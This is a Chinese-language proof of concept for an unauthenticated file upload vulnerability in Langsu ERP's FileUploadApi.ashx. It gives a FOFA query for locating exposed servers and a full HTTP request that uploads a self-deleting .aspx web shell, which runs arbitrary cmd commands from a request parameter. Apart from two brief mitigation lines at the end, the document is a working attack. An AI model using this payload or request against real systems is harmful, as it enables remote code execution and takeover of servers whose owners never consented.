朗速ERP FileUploadApi.ashx 任意文件上传漏洞 POC

朗速ERP FileUploadApi.ashx 接口存在文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

02

搜索引擎

FOFA:

body="/Resource/Scripts/Yw/Yw_Bootstrap.js"

POST /Api/FileUploadApi.ashx?method=DoWebUpload HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="test.aspx"
Content-Type: image/jpeg

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
------WebKitFormBoundaryFfJZ4PlAZBixjELj--

nuclei

afrog

xray

1、关闭互联网暴露面或接口设置访问权限

2、升级至安全版本